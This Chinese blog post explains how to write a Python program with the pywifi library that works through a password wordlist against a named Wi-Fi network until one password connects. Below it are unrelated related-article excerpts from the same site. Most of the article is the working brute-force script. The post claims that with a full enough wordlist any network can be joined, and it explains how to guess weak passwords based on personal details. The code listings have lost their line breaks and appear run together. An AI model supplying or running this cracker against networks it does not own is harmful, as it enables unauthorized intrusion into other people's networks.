Python密码本连接wifi

有时候我们会忘记自己的Wi-Fi密码,或者需要连接某个Wi-Fi网络以满足合法需求。本文将介绍如何使用Python编程语言编写一个简单的连接Wi-Fi的程序。

一、密码本准备

在进行wifi猜测时,其实就是列出各种可能的密码,用来尝试去访问目标wifi,直到找出正确的密码为止,是密码破解的一种方案。怎么有效去猜测wifi密码呢,或者说日常中你使用的密码为什么会被别人猜到,这就涉及到社会工程学,比如习惯使用“123456”、“8888888”等弱口令,使用手机号、生日、家庭住址相关联作为密码,那么就很容易被猜到,这里不过多介绍,理论上任何密码都可以用这种方法来猜测连接,不过越复杂的密码破解耗时也越长。

二、连接准备工作

  • python环境安装

访问Python官网,点击downloads按钮,在下拉框中选择系统类型,选择下载最新版本的Python,没有版本要求的话,尽量使用最新版本前几个版本,避免新版本的不稳定。双击下载好的Python安装包,勾选左下角"Add Python 3.7 to PATH"选项,然后选择"Install now"立刻安装Python,默认安装或自定义安装。打开命令窗口,使用“python --version”查验环境是否安装成功。

  • 下载安装pywifi库
pip install pywifi

以下对整个连接程序主要部分进行讲解,最后提供完整的连接程序,可以使用自己的wifi网络进行连接尝试,密码本先填写几个错误密码,最后再写入正确密码,试验是否成功连接wifi,只要密码本够全,理论上可以连接所有wifi。注意一行表示一个可能性密码。
  创建一个无线对象,获取无线网卡

#抓取网卡接口
wifi=pywifi.PyWiFi()
#获取第一个无线网卡
ifaces=wifi.interfaces()[0]

创建WiFi连接文件
创建WiFi连接文件,选择要连接WiFi的名称,然后检查WiFi的开发状态,查看wifi的加密算法,一般wifi加密算法为WPA2 PSK,检查加密单元。

#创建WiFi连接文件
profile=pywifi.Profile()
#要连接WiFi的名称
profile.ssid="WiFi名称"
#网卡的开放状态
profile.auth=const.AUTH_ALG_OPEN
#wifi加密算法,一般wifi加密算法为wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP

尝试连接wifi
密码本采用只读的方式,一行一行读取,后续用于尝试连接wifi。

#读取密码本
def readPassword():print("开始破解:")#密码本路径path="wifi_pass.txt"#打开文件file=open(path,"r")while True:try:#一行一行读取pad=file.readline()#尝试连接wifibool = wifiConnect(pad)if not pad:breakif bool:print("密码已破解: ",pad)print("WiFi已自动连接!!!")breakelse:#跳出当前循环,进行下一次循环print("密码破解中....密码校对: ",pad)except:continue

完整程序代码

# coding:utf-8
import pywifi
from pywifi import const
import time#测试连接,返回链接结果
def wifiConnect(pwd):#抓取网卡接口wifi=pywifi.PyWiFi()#获取第一个无线网卡ifaces=wifi.interfaces()[0]#断开所有连接ifaces.disconnect()time.sleep(1)wifistatus=ifaces.status()if wifistatus ==const.IFACE_DISCONNECTED:#创建WiFi连接文件profile=pywifi.Profile()#要连接WiFi的名称profile.ssid="****_Wi-Fi5"#网卡的开放状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP#调用密码profile.key=pwd#删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(3)if ifaces.status()==const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi连接") #读取密码本
def readPassword():print("开始破解:")#密码本路径path="wifi_pass.txt"#打开文件file=open(path,"r")while True:try:#一行一行读取pad=file.readline()#尝试连接wifibool = wifiConnect(pad)if not pad:breakif bool:print("密码已破解: ",pad)print("WiFi已自动连接!!!")breakelse:#跳出当前循环,进行下一次循环print("密码破解中....密码校对: ",pad)except:continue
readPassword()

运行结果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/240119.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux安装QQ(官方正版)

QQ官网上有支持linux系统的版本,所以去官网直接下载正版就好。 安装步骤: 1.进入官网:https://im.qq.com/linuxqq/index.shtml 2.选择版本:X86版下载dep 如下所示: 3.下载qq安装包: 4.使用命令安装qq s…

【踩坑】flask_uploads报错cannot import name ‘secure_filename‘

转载请注明出处:小锋学长生活大爆炸[xfxuezhang.cn] 背景说明 截至目前,用新版的flask实现文件上传(用到flask_uploads库),会出现这个问题。 问题原因 版本问题,新的werkzeug已经把secure_filename的位置改了。 解决方法 手动修改…

腾讯云学生机云+校园计划详细解读(图文解说)

腾讯云学生服务器优惠活动「云校园」轻量应用服务器2核2G学生价30元3个月、58元6个月、112元一年,轻量应用服务器4核8G配置112元3个月、352.8元6个月、646.8元一年,CVM云服务器2核4G3M公网带宽配置842.4元一年,腾讯云服务器网txyfwq.com分享2…

【python入门】day27: 模拟高铁售票系统

界面 代码 #-*- coding:utf-8 -*- import prettytable as pt#---------导入漂亮表格 import os.path filename ticket.txt#更新座位状态 def update(row_num):#------更新购票状态with open(filename,w,encodingutf-8) as wfile:for i in range(row_num):lst1 [f{i1},有票,有…

UL2034详细介绍UL 安全单站和多站一氧化碳报警器标准

在介绍相关标准之前先介绍一下UL认证和UL测试报告的区别,检测认证行业6年老司机 UL认证是自愿性的认证,需要检测产品和审核工厂,每个季度审核一次,费用高、时间久,而且审厂非常的严格。 UL测试报告是根据产品选用相应…

Spring Boot - Application Events 的发布顺序_ApplicationFailedEvent

文章目录 Pre概述Code源码分析 Pre Spring Boot - Application Events 的发布顺序_ApplicationEnvironmentPreparedEvent 概述 Spring Boot 的广播机制是基于观察者模式实现的,它允许在 Spring 应用程序中发布和监听事件。这种机制的主要目的是为了实现解耦&#…

Matlab字符识别实验

Matlab 字符识别OCR实验 图像来源于屏幕截图,要求黑底白字。数据来源是任意二进制文件,内容以16进制打印输出,0-9a-f’字符被16个可打印字符替代,这些替代字符经过挑选,使其相对容易被识别。 第一步进行线分割和字符…

docker screen 常用基础命令

1.docker基础命令 1.1开启docker systemctl start docker #开启docker service docker restart #重启docker systemctl stop docker #关闭docker 1.2查看命令 docker images #查看docker镜像docker ps #查看正在运行的镜像或者容器docker ps -a #查看所有容器1.3运…

Spring | Spring框架最基本核心的jar包、Spring的入门程序、依赖注入

目录: 1.Spring框架最基本、最核心的jar包2.Spring的入门程序3.依赖注入3.1 依赖注入的概念3.2 依赖注入的实现方式 1.Spring框架最基本、最核心的jar包 Spring是一个轻量级框架,Spring最基本、最核心的的jar包括 : beans、context、core、expression。 …

import { ArrowRight } from “@element-plus/icons-vue“;

今天下午快被这个问题折磨疯了 虽然知道这个问题怎么产生的 但项目里那个碍眼的红线就是去不掉 后来才发现 这是插件的锅 我的心情 你知道我想要说什么的 想必能看到这篇文章的 也知道这个问题是怎么产生的 vue3ts使用的时候 默认是需要带上文件名的 但是引入el组件时 …

CSS 水浪按钮

<template><view class="content"><button class="button"><view class="liquid"></view><view class="btn-txt">水浪按钮</view></button></view></template><scrip…

计算机导论05-计算机网络

文章目录 计算机网络基础计算机网络概述计算机网络的概念计算机网络的功能计算机网络的组成 计算机网络的发展计算机网络的类型 网络体系结构网络互联模型OSI/RM结构与功能TCP/IP结构模型TCP/IP与OSI/RM的比较 网络地址与分配IP地址构成子网的划分IPv6 传输介质与网络设备网络传…

异常处理注解 @ExceptionHandler

今天记录下 SpringBoot 中 ExceptionHandler 的使用。 场景 有一个员工表(employee)&#xff0c;且给表中的 username 属性设置了唯一性。 -- auto-generated definition create table employee (id bigint auto_increment comment 主键primary key,name va…

word写标书的疑难杂症总结

最近在解决方案工作&#xff0c;与office工具经常打交道&#xff0c;各种问题&#xff0c;在此最下记录&#xff1a; 1.word中文档距离文档顶端有距离调整不了 1.疑难杂症问题1&#xff0c;多个空格都是不能解决 #解决办法&#xff1a;word中--布局-下拉框---“版式”--“垂直…

Qt根据单价计算总价与进制转换

1.相关说明 二进制、十进制、十六进制间的相互转换 2.界面绘制 3.相关主要代码 #include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this); }Widget::~Widget() {delete …

DataXCloud部署与配置[智数通]

静态IP设置 # 修改网卡配置文件 vim /etc/sysconfig/network-scripts/ifcfg-ens33# 修改文件内容 TYPEEthernet PROXY_METHODnone BROWSER_ONLYno BOOTPROTOstatic IPADDR192.168.18.130 NETMASK255.255.255.0 GATEWAY192.168.18.2 DEFROUTEyes IPV4_FAILURE_FATALno IPV6INIT…

GPT Store,是否会成为下一个App Store?

经历了一场风波后&#xff0c;原本计划推出的GPT Store终于成功上线。OpenAI在北京时间1月11日推出了GPT Store&#xff0c;被广泛视为类似于苹果的"App Store"&#xff0c;为人工智能应用生态系统迈出了重要一步。然而&#xff0c;OpenAI要想将GPT Store打造成苹果般…

Android APP修改为鸿蒙APP需要注意的问题

将Android应用修改为鸿蒙&#xff08;HarmonyOS&#xff09;应用需要注意一些关键问题&#xff0c;以确保应用在新平台上的顺利运行。以下是在修改Android应用为鸿蒙应用时需要考虑的一些重要问题&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软…

postman 简单测试(二)

接着上一节 https://blog.csdn.net/myy2012/article/details/135616719 1.Tests的简单使用&#xff08;后置处理器&#xff09; 具体的截图是每一步操作后得来的&#xff0c;记录方便自己以后查阅&#xff0c;也希望能帮助到有缘人。 1.1 把返回值存入到环境变量中&#xff…

JS逆向实战案例2——某房地产token RSA加密

说明&#xff1a;仅供学习使用&#xff0c;请勿用于非法用途&#xff0c;若有侵权&#xff0c;请联系博主删除 作者&#xff1a;zhu6201976 一、 反爬分析 url1&#xff1a;aHR0cDovL3pmY2ouZ3ouZ292LmNuL3pmY2ovZnl4eC94a2I/c1Byb2plY3RJZD05MzBlMDQ0MmJjNjA0MTBkYTgzNzQ0MmQ…